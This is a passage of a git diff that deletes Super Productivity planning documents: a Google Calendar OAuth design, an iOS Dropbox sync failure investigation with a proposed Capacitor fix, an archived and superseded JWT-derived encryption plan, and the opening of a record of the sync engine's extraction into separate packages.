value. Time-blocking is a nice-to-have built on top. - ---- - -## Files to Create/Modify - -### Phase 1 - -- `src/app/features/calendar-integration/calendar-integration.service.ts` -- add Google fetch path -- `packages/plugin-dev/google-calendar-provider/src/plugin.ts` -- extend config model -- `src/app/features/planner/store/planner.selectors.ts` -- accept Google Calendar provider key - -### Phase 2 - -- NEW: `src/app/features/calendar-integration/calendar-event-context-menu/` -- mat-menu component -- NEW: `src/app/features/calendar-integration/calendar-event-edit-dialog/` -- edit dialog component -- NEW: `src/app/features/calendar-integration/hidden-calendar-events.service.ts` -- hide forever persistence -- `src/app/features/planner/planner-calendar-event/planner-calendar-event.component.ts` -- click opens context menu -- `src/app/features/schedule/schedule-event/schedule-event.component.ts` -- click opens context menu - -### Phase 3 - -- NEW: event creation UI in issue panel area -- `calendar-event-edit-dialog` component -- add edit mode -- `packages/plugin-dev/google-calendar-provider/src/plugin.ts` -- ensure CRUD methods handle all cases - -### Phase 4 - -- NEW: `src/app/features/issue/two-way-sync/time-block-sync.effects.ts` -- `packages/plugin-dev/google-calendar-provider/src/plugin.ts` -- done-marking logic diff --git a/docs/long-term-plans/google-calendar-provider-design.md b/docs/long-term-plans/google-calendar-provider-design.md deleted file mode 100644 index f03d2dce93..0000000000 --- a/docs/long-term-plans/google-calendar-provider-design.md +++ /dev/null @@ -1,217 +0,0 @@ -# Google Calendar Provider — Design Document - -> **Status: Planned** - -## Overview - -Add a Google Calendar provider (`GOOGLE_CALENDAR`) to Super Productivity with two-way event sync via the Google Calendar REST API. Authentication uses a hybrid approach: an auth proxy by default with an option for user-provided OAuth credentials. - -## Decisions - -| Decision | Choice | Rationale | -| ---------------------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------ | -| Integration level | Two-way event sync (phased) | Full value requires writing back status changes | -| Auth approach | Hybrid: auth proxy default + user-provided option | Best UX for most users; self-hosters/privacy users can opt out of proxy | -| API layer | Google Calendar REST API v3 | Better documented, more reliable than Google's CalDAV endpoint; avoids CalDAV quirks | -| Initial sync direction | Google → SP first, status sync back | Reduce scope for first version; no SP → Google event creation yet | -| Auth proxy hosting | Decide at implementation time | Proxy is stateless and thin enough to move between hosting options | -| Token storage | Reuse existing `SyncCredentialStore` (IndexedDB `sup-sync`) | Proven pattern from Dropbox sync | - ---- - -## Why OAuth Is Mandatory - -Google Calendar API requires OAuth 2.0. No alternative exists — even Google's CalDAV endpoint requires OAuth. This is the core complexity of the feature. - -### Google-Specific Constraints - -1. **OOB flow deprecated (2022)** — The manual "copy this code" pattern used by Dropbox sync does not work with Google. A redirect-based flow is required. -2. **Per-platform OAuth client types** — Google registers separate OAuth clients for web, desktop, Android, and iOS, each with different redirect mechanisms. -3. **Calendar scope is "restricted"** — Requires Google's full app verification process (privacy policy, security assessment, demo video). Unverified apps are limited to 100 users with a warning screen. -4. **Open-source visibility** — Any `client_secret` embedded in source is public. Desktop/mobile clients are treated as "public clients" (PKCE, no secret), but web clients traditionally need one. -5. **Self-hosted web instances** — Different origins make a single registered redirect URI insufficient for web. - ---- - -## Authentication Architecture - -### Hybrid Approach - -**Default mode (proxy):** A stateless auth proxy handles OAuth token exchange, keeping `client_secret` server-side. All platforms use the same proxy. Calendar data never touches the proxy — only OAuth tokens during exchange/refresh. - -**Custom mode:** Users provide their own Google Cloud OAuth credentials. The app performs PKCE flows directly with Google. Intended for self-hosted instances and privacy-conscious users. - -### Auth Proxy Design - -The proxy is intentionally minimal — stateless, no database, no sessions, no user accounts. - -**Endpoints:** - -``` -POST /auth/google/token-exchange - Input: { code, code_verifier, redirect_uri, platform } - Action: Exchanges auth code for tokens using client_secret - Output: { access_token, refresh_token, expires_in } - -POST /auth/google/token-refresh - Input: { refresh_token } - Action: Refreshes access token using client_secret - Output: { access_token, expires_in } -``` - -**Hosting options (to be decided):** - -- Routes added to existing SuperSync server -- Standalone serverless functions (Cloudflare Workers, Vercel, AWS Lambda) -- Dedicated micro-service - -### Client Auth Flow - -``` -1. Client generates PKCE code_verifier + code_challenge -2. Client opens Google consent screen URL (with code_challenge) -3. Google redirects to proxy with auth code -4. Proxy exchanges code for tokens (using client_secret + code_verifier) -5. Proxy redirects to app with tokens: - - Electron: custom protocol (super-productivity://oauth/google) - - Web: redirect to app origin - - Android/iOS: deep link (com.super-productivity.app://oauth/google) -6. Client stores tokens locally in SyncCredentialStore -7. Client calls Google Calendar API directly (proxy not involved) -8. On 401: client calls proxy /token-refresh for new access_token -``` - -### Per-Platform Redirect Handling - -| Platform | Proxy mode | Custom credentials mode | -| -------- | ---------------------------------- | ---------------------------------------------------------- | -| Electron | Proxy → custom protocol redirect | Local loopback server (`http://127.0.0.1:/callback`) | -| Web/PWA | Proxy → redirect to app origin | Standard redirect (user registers their own origin) | -| Android | Proxy → deep link | Deep link with user's own client ID | -| iOS | Proxy → deep link / universal link | Deep link with user's own client ID | - -### Auth Infrastructure (shared, reusable) - -Located at `src/app/core/oauth/` — designed to support future providers (Outlook, etc.): - -``` -src/app/core/oauth/ - google-oauth.service.ts # Google-specific OAuth config + PKCE flow - oauth-proxy.service.ts # Routes token exchange through auth proxy - oauth-credential.store.ts # Extends/reuses SyncCredentialStore -``` - ---- - -## Provider Structure - -New provider at `src/app/features/issue/providers/google-calendar/`: - -``` -google-calendar/ - google-calendar.model.ts # GoogleCalendarCfg, event type mappings - google-calendar.const.ts # Scopes, API URLs, defaults - google-calendar-api.service.ts # REST API calls (events CRUD, calendar listing) - google-calendar.service.ts # Extends BaseIssueProviderService - google-calendar-sync-adapter.ts # Two-way sync logic - google-calendar-cfg/ # Settings UI component -``` - -### Config Model - -```typescript -interface GoogleCalendarCfg extends BaseIssueProviderCfg { - calendarIds: string[]; - authMode: 'proxy' | 'custom'; - customClientId?: string; - customClientSecret?: string; - syncDirection: 'read-only' | 'two-way'; - checkUpdatesEvery: number; -} -``` - ---- - -## Data Mapping - -### Google → Super Productivity - -| Google Calendar Event | Super Productivity | -| ------------------------------ | ------------------------------------------- | -| `summary` | Task title | -| `description` | Task notes | -| `start` / `end` | `CalendarIntegrationEvent` start / duration | -| `status` (confirmed/cancelled) | Task done state | -| `updated` | Last-modified timestamp for sync | - -### Super Productivity → Google (Phase 2+) - -| Super Productivity | Google Calendar Event | -| ------------------ | ------------------------------------------ | -| Task marked done | Event status → cancelled (or configurable) | -| Title changed | `summary` updated | -| Notes changed | `description` updated | - -### What Does NOT Sync - -- Sub-tasks (no Google Calendar equivalent) -- Time tracking data -- Tags, priorities, estimates — SP-specific concepts - ---- - -## Sync Strategy - -Follows the pattern established by `CaldavSyncAdapterService`: - -1. **Poll-based** on configurable interval (default: 5 minutes) -2. **Incremental sync** using Google's `syncToken` — only returns events changed since last sync, much more efficient than full re-fetch -3. **Conflict resolution** via `updated` timestamps (last-write-wins, server as authority) -4. **Sync state** stored per-provider-instance in config - ---- - -## Implementation Phases - -### Phase 1: Auth + Read-Only Import - -- Google OAuth service with PKCE + proxy support -- Platform-specific redirect handling (Electron, Web, Capacitor) -- Fetch events from Google Calendar API -- Display as `CalendarIntegrationEvent` (like existing ICAL provider) -- Settings UI for connecting Google account, selecting calendars - -### Phase 2: Status Sync Back to Google - -- Mark events as completed/cancelled when SP tasks are done -- Incremental sync using `syncToken` -- Conflict detection via `updated` timestamps -- Error handling for API rate limits, revoked permissions - -### Phase 3: Full Two-Way (Future) - -- Create Google Calendar events from SP tasks -- Bidirectional field sync (title, description, time) -- Consider: should SP time tracking update event duration? - ---- - -## Open Questions - -1. **Google app verification timeline** — Restricted scope verification can take weeks/months. Should we apply early or build with an unverified app first (100-user limit)? -2. **Multiple Google accounts** — Should users be able to connect more than one Google account? The provider model supports multiple instances, but the OAuth flow needs to handle account switching. -3. **Recurring events** — Google Calendar has its own recurrence model. How do recurring events map to SP tasks? One task per occurrence, or one task for the series? -4. **Event deletion** — When a Google event is deleted, should the corresponding SP task be deleted, archived, or just marked? -5. **Proxy rate limiting** — The proxy needs rate limiting to prevent abuse. What limits are reasonable? - ---- - -## References - -- [Google Calendar API v3 docs](https://developers.google.com/calendar/api/v3/reference) -- [Google OAuth 2.0 for mobile/desktop](https://developers.google.com/identity/protocols/oauth2/native-app) -- [Google app verification requirements](https://support.google.com/cloud/answer/9110914) -- Existing CalDAV two-way sync: `src/app/features/issue/providers/caldav/caldav-sync-adapter.service.ts` -- Existing Dropbox OAuth: `src/app/op-log/sync-providers/file-based/dropbox/dropbox.ts` -- Existing credential store: `src/app/op-log/sync-providers/credential-store.service.ts` -- General calendar sync analysis: `docs/long-term-plans/calendar-two-way-sync-technical-analysis.md` diff --git a/docs/long-term-plans/ios-dropbox-sync-reliability.md b/docs/long-term-plans/ios-dropbox-sync-reliability.md deleted file mode 100644 index 08c53c71c7..0000000000 --- a/docs/long-term-plans/ios-dropbox-sync-reliability.md +++ /dev/null @@ -1,139 +0,0 @@ -# iOS Dropbox Sync Reliability - -> **Status: Investigation Complete — Fixes Pending** - -**Issue:** [#6333](https://github.com/super-productivity/super-productivity/issues/6333) -**Severity:** High — Dropbox sync is completely broken for some iOS users - -## Problem - -Dropbox sync consistently fails on iOS with `-1005 "The network connection was lost"`, while the web app works fine on the same device. Multiple users have confirmed the issue across different iOS versions and SP releases. - -## Root Cause Analysis (confidence: 60-65%) - -### Primary suspect: Capacitor uses `URLSession.shared` - -Capacitor's iOS HTTP handler (`CapacitorUrlRequest.swift`) routes all requests through `URLSession.shared` — a singleton that: - -- Cannot be invalidated or reconfigured -- Holds persistent HTTP/2 connections that can go stale -- Does not auto-retry POST requests (Dropbox uses POST for all API calls) - -When connections go stale (from app backgrounding, server-side connection resets, or HTTP/2 lifecycle), `URLSession.shared` tries to reuse the dead connections, causing -1005. - -**Evidence from logs:** First download succeeds, second download 19 seconds later fails with -1005 — classic stale connection reuse pattern. - -**Why web works:** Browser `fetch()` runs through WKWebView's own networking stack, which handles reconnection more gracefully. - -### Known triggers - -1. **App backgrounding** (most common): User goes to Safari to get Dropbox auth code, iOS reclaims sockets while app is suspended ([Apple TN2277](https://developer.apple.com/library/archive/technotes/tn2277/_index.html)) -2. **HTTP/2 connection lifecycle**: Server closes connection between requests, `URLSession.shared` reuses it -3. **Retry delays too short**: Current 1s/2s delays don't give the connection pool time to flush - -### What we haven't confirmed - -- No network-level packet capture during the failure -- Haven't reproduced on a test device -- Haven't verified that ephemeral sessions fix it -- Could be a different/additional cause - -## Sources - -### Apple official - -- [TN2277: Networking and Multitasking](https://developer.apple.com/library/archive/technotes/tn2277/_index.html) — socket reclamation during suspension -- [QA1941: Handling "The network connection was lost"](https://developer.apple.com/library/archive/qa/qa1941/_index.html) — official -1005 guidance - -### Apple Developer Forums - -- [Thread 777999](https://developer.apple.com/forums/thread/777999): "URLSession.shared fails with -1005... things do work with an ephemeral session" -- [Thread 84656](https://developer.apple.com/forums/thread/84656): Quinn (Apple DTS) recommends retry as primary strategy - -### Capacitor issues (same bug) - -- [#6733](https://github.com/ionic-team/capacitor/issues/6733): "iOS app switching causes network lost error" -- [#7974](https://github.com/ionic-team/capacitor/issues/7974): Recommends ephemeral session workaround -- [#6789](https://github.com/ionic-team/capacitor/issues/6789): `[NSURLSession sharedSession] may not be invalidated` - -### Other frameworks - -- [Alamofire #872](https://github.com/Alamofire/Alamofire/issues/872): Same -1005 after device lock — fix was recreating sessions -- [AWS SDK iOS #4281](https://github.com/aws-amplify/aws-sdk-ios/issues/4281): Same -1005 with S3 uploads - -### Dropbox-specific - -- [SwiftyDropbox SDK](https://github.com/dropbox/SwiftyDropbox) uses custom URLSession instances, never `URLSession.shared` -- [Dropbox Forum](https://www.dropboxforum.com/discussions/101000014/nsurlerrordomaincode-1005-with-authorizedclient-in-ios-app/646904): Same error reported with official SDK - -## Proposed Fixes - -### Fix 1: Patch Capacitor to use ephemeral sessions (highest impact) - -Use `patch-package` to modify `CapacitorUrlRequest.swift`: - -```swift -// Before (Capacitor 7.4.3+) -open func getUrlSession(_ call: CAPPluginCall) -> URLSession { - let disableRedirects = call.getBool("disableRedirects") ?? false - if !disableRedirects { - return URLSession.shared - } - return URLSession(configuration: URLSessionConfiguration.default, delegate: self, delegateQueue: nil) -} - -// After -open func getUrlSession(_ call: CAPPluginCall) -> URLSession { - let disableRedirects = call.getBool("disableRedirects") ?? false - let config = URLSessionConfiguration.ephemeral - if !disableRedirects { - return URLSession(configuration: config) - } - return URLSession(configuration: config, delegate: self, delegateQueue: nil) -} -``` - -**Tradeoffs:** - -- Cookies won't persist between sessions (not relevant for Dropbox — we manage tokens ourselves) -- Must re-apply patch on Capacitor upgrades -- Recommended by Capacitor community for [#7974](https://github.com/ionic-team/capacitor/issues/7974) - -**Note:** Capacitor 8 does NOT fix this — `URLSession.shared` usage is identical in v8. - -### Fix 2: Fix timeout bug (quick win) - -Capacitor's Swift code: `let timeout = (connectTimeout ?? readTimeout ?? 600000.0) / 1000.0` - -Our code passes both `connectTimeout: 30000` and `readTimeout: 120000`. Since `connectTimeout` is set, `readTimeout` is silently ignored. All data transfers get a 30s timeout instead of the intended 120s. - -**Fix:** Stop passing `connectTimeout` from `native-http-retry.ts`, or pass a single combined timeout. - -### Fix 3: Increase retry delays (quick win) - -Current delays: 1s, 2s. Stale connections need more time to flush. - -**Fix:** Increase to 3s, 6s (or similar). Consider whether `MAX_RETRIES` should also increase. - -### Fix 4: Add foreground-resume delay (medium effort) - -Use Capacitor's `App.addListener('appStateChange')` to detect foreground resume and add a brief delay (500ms-1s) before allowing sync requests. - -### Fix 5: Background task assertion (medium effort, iOS-specific) - -Use `@capawesome/capacitor-background-task` to request ~30s of background execution time during sync, preventing iOS from suspending the app mid-operation. - -## Implementation Order - -1. **Fixes 2 + 3** — Quick wins, low risk, can ship immediately -2. **Fix 1** — Highest impact but requires `patch-package` setup for iOS native code -3. **Fix 4** — Good defense-in-depth -4. **Fix 5** — Nice-to-have, prevents a different failure mode (suspension during active sync) - -## Validation - -- [ ] Reproduce the issue on a physical iOS device -- [ ] Apply fixes and verify sync works after app backgrounding -- [ ] Test the full Dropbox setup flow (Safari auth → paste code → sync) -- [ ] Verify no regressions on Android or web -- [ ] Ask issue reporters to test a beta build diff --git a/docs/long-term-plans/jwt-derived-encryption.md b/docs/long-term-plans/jwt-derived-encryption.md deleted file mode 100644 index b6bdeb6fc4..0000000000 --- a/docs/long-term-plans/jwt-derived-encryption.md +++ /dev/null @@ -1,351 +0,0 @@ -# JWT-Derived Encryption for SuperSync - -> **Status: Archived — Superseded** -> -> JWT-derived keys are unsuitable due to token refresh invalidating encryption keys. Password-based encryption was implemented instead — see `../sync-and-op-log/supersync-encryption-architecture.md`. - -## Goal - -Provide automatic "encryption at rest" for lazy users who don't want to enter a passphrase. This protects against database leaks while maintaining zero UX friction. - -**Security Model:** -| Threat | Protected? | -|--------|------------| -| Database dump/leak | ✅ Yes | -| Backup file theft | ✅ Yes | -| Server operator | ❌ No (can decrypt with JWT_SECRET) | - ---- - -## Critical Issue: JWT Instability - -**All 5 reviewers identified this as a blocker.** - -The plan proposes `SHA-256(jwt)` as the encryption key. However: - -1. JWTs can be refreshed (new signature = new key) -2. Re-login produces a different JWT -3. Token expiration invalidates the key - -**Result:** User's encrypted data becomes permanently unreadable after token refresh. - -### Solution: Store Derived Key on First Enable - -Instead of deriving the key every time from the current JWT: - -```typescript -// On first enable of auto-encryption: -const derivedKey = await crypto.subtle.digest('SHA-256', encoder.encode(jwt)); -const keyAsBase64 = btoa(String.fromCharCode(...new Uint8Array(derivedKey))); - -// Store this derived key, NOT the JWT -await provider.setConfig({ - isAutoEncryptionEnabled: true, - autoEncryptionKey: keyAsBase64, // Stable across token refreshes -}); - -// On subsequent operations, use the stored key -``` - -This ensures: - -- Key stability across token refreshes -- Multi-device works (all devices get same derived key from initial JWT) -- No data loss on re-login - ---- - -## Implementation Plan - -### Phase 1: Model & Config (1 day) - -**Files:** - -- `packages/sync-providers/src/super-sync/super-sync.model.ts` -- `src/app/features/config/global-config.model.ts` - -**Changes:** - -```typescript -// super-sync.model.ts -export interface SuperSyncPrivateCfg extends SyncProviderPrivateCfgBase { - // ... existing fields ... - - /** Auto-encryption enabled (JWT-derived, not passphrase) */ - isAutoEncryptionEnabled?: boolean; - - /** Stored derived key (base64). Set once on first enable, stable across sessions */ - autoEncryptionKey?: string; -} -``` - -### Phase 2: Encryption Function (0.5 day) - -**File:** `packages/sync-core/src/encryption.ts` - -**Add:** - -```typescript -/** - * Fast key derivation for high-entropy inputs (JWT-derived keys). - * Skips Argon2id since JWT already has 256+ bits of entropy. - */ -export const deriveKeyFromHighEntropy = async ( - keyMaterial: string, -): Promise => { - const encoder = new TextEncoder(); - const data = encoder.encode(keyMaterial); - const hashBuffer = await crypto.subtle.digest('SHA-256', data); - - // Use a fixed salt since key material is already high-entropy - const salt = new Uint8Array(SALT_LENGTH).fill(0); - - const key = await crypto.subtle.importKey( - 'raw', - hashBuffer, - { name: ALGORITHM }, - false, - ['encrypt', 'decrypt'], - ); - - return { key, salt }; -}; -``` - -**Integration with existing functions:** - -- Existing `encrypt(data, password)` and `decrypt(data, password)` use Argon2id -- Add new `encryptWithDerivedKey(data, derivedKeyInfo)` for pre-derived keys -- `operation-encryption.service.ts` needs a new code path for auto-encryption - -### Phase 3: SuperSync Provider (1 day) - -**File:** `src/app/op-log/sync-providers/super-sync/super-sync.ts` - -**Modify `getEncryptKey()`:** - -```typescript -async getEncryptKey(): Promise { - const cfg = await this.privateCfg.load(); - if (!cfg) return undefined; - - // Existing passphrase encryption takes priority - if (cfg.isEncryptionEnabled && cfg.encryptKey) { - return cfg.encryptKey; - } - - // Auto-encryption uses stored derived key - if (cfg.isAutoEncryptionEnabled && cfg.autoEncryptionKey) { - return cfg.autoEncryptionKey; - } - - return undefined; -} -``` - -### Phase 4: Enable/Disable Services (1 day) - -**New file:** `src/app/imex/sync/auto-encryption-enable.service.ts` - -**Flow:** - -1. Derive key from current JWT: `SHA-256(accessToken)` -2. Store derived key in config as `autoEncryptionKey` -3. Set `isAutoEncryptionEnabled: true` -4. Delete all server data (can't mix encrypted/unencrypted) -5. Upload current state with encryption - -**Reuse existing patterns from:** - -- `encryption-enable.service.ts` (lines 16-80) -- `encryption-disable.service.ts` - -### Phase 5: UI Integration (1 day) - -**File:** `src/app/features/config/form-cfgs/sync-form.const.ts` - -**Add toggle in SuperSync Advanced settings:** - -```typescript -{ - key: 'isAutoEncryptionEnabled', - type: 'checkbox', - hideExpression: (model: any) => model.isEncryptionEnabled, // Hide if passphrase enabled - templateOptions: { - label: T.F.SYNC.FORM.SUPER_SYNC.L_AUTO_ENCRYPTION, - description: T.F.SYNC.FORM.SUPER_SYNC.AUTO_ENCRYPTION_DESCRIPTION, - }, - // ... hooks for enable/disable flow -} -``` - -**Translation keys needed:** - -```json -{ - "L_AUTO_ENCRYPTION": "Encrypt my data automatically", - "AUTO_ENCRYPTION_DESCRIPTION": "Encrypts data on the server. Protects against database leaks, but server operator can decrypt if needed.", - "AUTO_ENCRYPTION_WARNING": "This will delete sync data and re-upload with encryption." -} -``` - ---- - -## Files to Modify - -| File | Changes | -| ------------------------------------------------------------ | -------------------------------------------------- | -| `packages/sync-providers/src/super-sync/super-sync.model.ts` | Add `isAutoEncryptionEnabled`, `autoEncryptionKey` | -| `packages/sync-core/src/encryption.ts` | Add `deriveKeyFromHighEntropy()` | -| `src/app/op-log/sync-providers/super-sync/super-sync.ts` | Modify `getEncryptKey()` | -| `src/app/op-log/sync/operation-encryption.service.ts` | Support pre-derived keys | -| `src/app/features/config/form-cfgs/sync-form.const.ts` | Add UI toggle | -| `src/app/features/config/global-config.model.ts` | Add `isAutoEncryptionEnabled` to `SuperSyncConfig` | -| `src/app/imex/sync/auto-encryption-enable.service.ts` | NEW: Enable flow | -| `src/app/imex/sync/auto-encryption-disable.service.ts` | NEW: Disable flow | -| `src/assets/i18n/en.json` | Add translation keys | -| `src/app/t.const.ts` | Add translation constants | - ---- - -## Edge Cases & Error Handling - -### 1. Decryption Failure (e.g., key mismatch) - -**Current behavior:** Shows password dialog (wrong for auto-encryption) - -**Required change:** Detect auto-encryption mode and show appropriate error: - -``` -"Unable to decrypt sync data. Your encryption key may be invalid. -Options: -[Re-enable Auto Encryption] - Upload local data with new key -[Cancel]" -``` - -**File:** `src/app/imex/sync/dialog-handle-decrypt-error/dialog-handle-decrypt-error.component.ts` - -### 2. Switching Between Encryption Modes - -| From | To | Action | -| ---------- | ---------- | ------------------------------------------ | -| None | Auto | Delete server data, upload encrypted | -| Auto | None | Delete server data, upload unencrypted | -| Auto | Passphrase | Delete server data, upload with passphrase | -| Passphrase | Auto | Delete server data, upload with auto key | - -All require clean slate (existing pattern in codebase). - -### 3. Multi-Device First Sync - -When a new device syncs for the first time with auto-encryption: - -1. Download encrypted ops -2. Derive key from JWT: `SHA-256(accessToken)` -3. Attempt decryption -4. If success: store derived key locally -5. If failure: show error (different account?) - ---- - -## Tests Required - -### Unit Tests - -**`encryption.ts`:** - -```typescript -describe('deriveKeyFromHighEntropy', () => { - it('should derive consistent key from same input'); - it('should derive different keys from different inputs'); - it('should be fast (<10ms)'); -}); -``` - -**`super-sync.ts`:** - -```typescript -describe('getEncryptKey with auto-encryption', () => { - it('should return autoEncryptionKey when isAutoEncryptionEnabled'); - it('should prefer passphrase over auto-encryption'); - it('should return undefined when neither enabled'); -}); -``` - -### Integration Tests - -```typescript -describe('Auto-encryption flow', () => { - it('should encrypt operations during upload'); - it('should decrypt operations during download'); - it('should work across token refreshes (key is stable)'); -}); -``` - -### E2E Tests - -```typescript -describe('SuperSync auto-encryption', () => { - it('should enable auto-encryption via settings'); - it('should sync encrypted data to server'); - it('should decrypt on second device with same account'); -}); -``` - ---- - -## Verification Checklist - -1. [ ] Enable auto-encryption on device A -2. [ ] Create tasks, verify they sync -3. [ ] Check server DB - payloads are encrypted blobs -4. [ ] Refresh JWT token on device A -5. [ ] Verify sync still works (key is stable) -6. [ ] Login on device B with same account -7. [ ] Verify data syncs and decrypts correctly -8. [ ] Disable auto-encryption on device A -9. [ ] Verify server data is now unencrypted -10. [ ] Verify device B detects change and updates - ---- - -## Security Considerations - -### What This Protects Against - -- Database dumps (encrypted blobs are useless without key) -- Backup file leaks -- SQL injection reading data - -### What This Does NOT Protect Against - -- Server operator with access to JWT_SECRET -- Man-in-the-middle if HTTPS is compromised -- Client-side token theft - -### Why This Is Acceptable - -- Target audience is "lazy users" who won't use a passphrase -- "Encryption at rest" is a real security improvement over no encryption -- Users who want true E2E can still use passphrase encryption -- Security model is honest and documented - ---- - -## Future Exploration: Device-Bound Key - -For users who want true E2E without a passphrase, explore: - -1. **Random key stored in IndexedDB** - - Risk: Lost on browser data wipe - - Need: Export/import flow - -2. **Electron keychain integration** - - More persistent storage - - Platform-specific implementation - -3. **Passkey PRF extension** - - True E2E with zero UX friction - - Limited browser support (2025) - -These are out of scope for initial implementation but worth exploring. diff --git a/docs/long-term-plans/sync-core-extraction-plan.md b/docs/long-term-plans/sync-core-extraction-plan.md deleted file mode 100644 index a8f3294e57..0000000000 --- a/docs/long-term-plans/sync-core-extraction-plan.md +++ /dev/null @@ -1,1530 +0,0 @@ -# `@sp/sync-core` Extraction Record - -> **Status: completed for this extraction branch.** `@sp/sync-core` and -> `@sp/sync-providers` are in place, the frontend imports through package -> boundaries and tiered provider subpaths, and PR 6/PR 7 boundary hardening and -> polish are complete. Remaining work before merge is verification only. - -**Outcome:** The sync engine has been carved out of `src/app/op-log/` into a -reusable, framework-agnostic, **domain-agnostic** `@sp/sync-core` package, plus -a sibling `@sp/sync-providers` package for bundled provider implementations. - -## Current Architecture - -- `@sp/sync-core` owns the generic sync engine surface: operation/apply - primitives, vector clocks, full-state op helper factories, entity-key and - sync-file-prefix helpers, compression/error helpers, import-filter decisions, - conflict-resolution helpers, upload/download/replay/remote-apply planning - helpers, entity-registry contracts, orchestration ports, and the - privacy-aware `SyncLogger` port. -- `@sp/sync-providers` owns provider contracts and bundled implementations: - Dropbox, WebDAV + Nextcloud, SuperSync, LocalFile, file-based sync envelopes, - provider-shared errors, PKCE helpers, retry helpers, platform/credential/file - ports, provider-owned string constants, and tiered subpath exports. -- `src/app/op-log/` owns Super Productivity wiring: NgRx adapters, app dialogs, - IndexedDB orchestration, entity-registry composition, `ActionType`, - `EntityType`, `SyncImportReason`, `SyncProviderId`, repair shapes, - full-state wire format, credential-store implementation, OAuth routing, - provider UI configuration, response validators, and platform bridges. -- Package boundaries are enforced by ESLint, package manifests, public-export - audits, and source grep. `@sp/sync-core` has no runtime dependencies. - `@sp/sync-providers` may depend only on public `@sp/sync-core` plus - provider-runtime dependencies. - -## Remaining Merge Gates - -The extraction work itself is complete. Remaining work before merge is selected -verification only: - -- Provider E2E smoke tests as needed for Dropbox, WebDAV, LocalFile, and - SuperSync. -- Fresh-client bootstrap checks for file-based providers if that surface is - touched before merge. -- Electron/Android LocalFile path smoke tests only when those platform bridges - are part of the merge validation pass. - -## Context - -The sync frontend lives in `src/app/op-log/` (the older `src/app/pfapi/` is -legacy and out of scope). It already organizes itself by concern (`core`, -`sync`, `apply`, `capture`, `persistence`, `encryption`, `validation`, `util`, -`model`, `sync-providers`), but the boundary is convention-only: the engine -reaches into NgRx state, `core/entity-registry.ts` hardcodes imports from 15+ -feature reducers, and providers and engine code intermix freely. - -The final shape is a **three-concern split**: - -1. **Sync logic / engine** - operation orchestration, vector clocks, conflict - resolution, persistence interfaces. Framework-agnostic and domain-agnostic. -2. **Configuration** - entity registry, model config, app-specific wiring, - action-type enums, entity-type unions, repair payload shapes, provider lists. - Lives in the app. -3. **Provider implementations** - SuperSync, Dropbox, WebDAV, LocalFile. - Pluggable, and talking to the engine through stable interfaces. - -## Domain Rule - -Anything that names a Super Productivity domain object, enum value, or wire -convention belongs in the app, not in `@sp/sync-core`. The lib carries -`actionType` and `entityType` as plain `string`; the app narrows via -`Omit`-and-extend on top of the lib's generic `Operation`. - -App-only forever: - -- **`ActionType` enum** - host-app action catalog, not lib content. -- **`ENTITY_TYPES` / `EntityType` union** - TASK, PROJECT, TAG, METRIC, BOARD, - etc. are SP's domain. Lib uses `string`; app narrows. -- **`SyncImportReason` union** - SP's specific import flows. -- **`RepairSummary`, `RepairPayload`** - SP's repair-output shape. -- **`WrappedFullStatePayload` + `extractFullStateFromPayload` + - `assertValidFullStatePayload`** - the `appDataComplete` wrapper and the - `['task','project','tag','globalConfig']` key-presence check are SP wire - format. -- **`SyncProviderId`, `OAUTH_SYNC_PROVIDERS`, `REMOTE_FILE_CONTENT_PREFIX`, - `PRIVATE_CFG_PREFIX`** - SP's bundled providers and SP-flavored storage - prefixes. -- **`@sp/shared-schema`** - that package is SP-coupled today, so - `@sp/sync-core` must not depend on it. - -Where the lib needs host-specific enumerations, it exposes a factory or config -object and the app supplies values at composition time. The current LWW helper -factory is the model to follow. - -## Recommendations From PR #7546 Review - -These adjustments guided the extraction after the thin first slice: - -1. **Move boundary enforcement up.** Add ESLint/package-boundary checks in the - next PR, not at the end. Once `packages/sync-core/` exists, accidental - imports from Angular, NgRx, `src/app`, or `@sp/shared-schema` should fail - immediately. -2. **Single-source vector-clock algorithms.** The client currently delegates - comparison/merge/prune behavior to `@sp/shared-schema` for client/server - parity. Before moving vector-clock code, pick one owner for - compare/merge/prune and have the other package/server import or re-export it. - Do not duplicate the algorithms. -3. **Treat full-state operation classification as configuration.** PR 1 keeps - `OpType.SyncImport`, `OpType.BackupImport`, and `OpType.Repair` in the - generic package for compatibility. Before the engine becomes reusable, make - full-state operation classification configurable or explicitly document those - op types as host-defined strings. -4. **Do not move `OperationApplierService` wholesale.** It currently coordinates - NgRx bulk dispatch, hydration windows, archive side effects, and deferred - local actions. Extract a small core replay contract/state machine first, - leaving the Angular/SP choreography in the app until the port boundary has - proven itself. -5. **Make logger metadata privacy-safe.** `CLAUDE.md` forbids logging user - content into exportable logs. The `SyncLogger` port should make this explicit - by accepting only safe, structured metadata and documenting that payloads/full - entities must not be logged. -6. **Add package tests before moving algorithms.** `@sp/sync-core` can start - with build-only checks, but PR 3a should first introduce the package test - runner and then port algorithm specs. -7. **Keep provider extraction separate.** Do not let `@sp/sync-core` learn - provider IDs, file prefixes, OAuth behavior, credential storage, or bundled - provider lists. - -## Final Branch Snapshot - -The branch now contains the final package boundary for this extraction: - -- `packages/sync-core/` exists and is exposed through the `@sp/sync-core` path - alias. -- `packages/sync-providers/` exists and is exposed through the - `@sp/sync-providers` path alias and focused `@sp/sync-providers/*` subpath - exports. -- `npm run sync-core:build` and `npm run sync-providers:build` run the package - builds, and `prepare` builds `sync-core`, `sync-providers`, `shared-schema`, - then `plugin-api`. -- `eslint.config.js` applies `no-restricted-imports` and a dynamic-import ban to - `packages/sync-core/**/*.ts` and `packages/sync-providers/**/*.ts`. -- `@sp/sync-core` exports generic operation/apply primitives, - vector-clock algorithms, full-state op-type helper factories, entity-key and - sync-file-prefix helpers, compression/error helpers, import-filter decisions, - conflict-resolution helpers, upload/download/replay/remote-apply planning - helpers, entity-registry contracts, app-side orchestration ports, - `SyncStateCorruptedError`, and the privacy-aware logger port. -- `@sp/sync-providers` exports provider-neutral contracts, provider - ports, file-based sync envelope types, provider-shared errors, PKCE and retry - helpers, safe logging helpers, provider-owned string constants, and the - bundled Dropbox, WebDAV + Nextcloud, SuperSync, and LocalFile provider - classes. -- The app registry now has `buildEntityRegistry()` and an `ENTITY_REGISTRY` - injection token. Existing helper functions still read the app-side - `ENTITY_CONFIGS` singleton for compatibility. - -Final extraction state: - -- Full-state operation classification is now host-configured via - `createFullStateOpTypeHelpers()`. The SP-facing - `src/app/op-log/core/operation.types.ts` shim instantiates its own - `FULL_STATE_OP_TYPES` and `isFullStateOpType`; the package root keeps - deprecated SP compatibility exports for existing 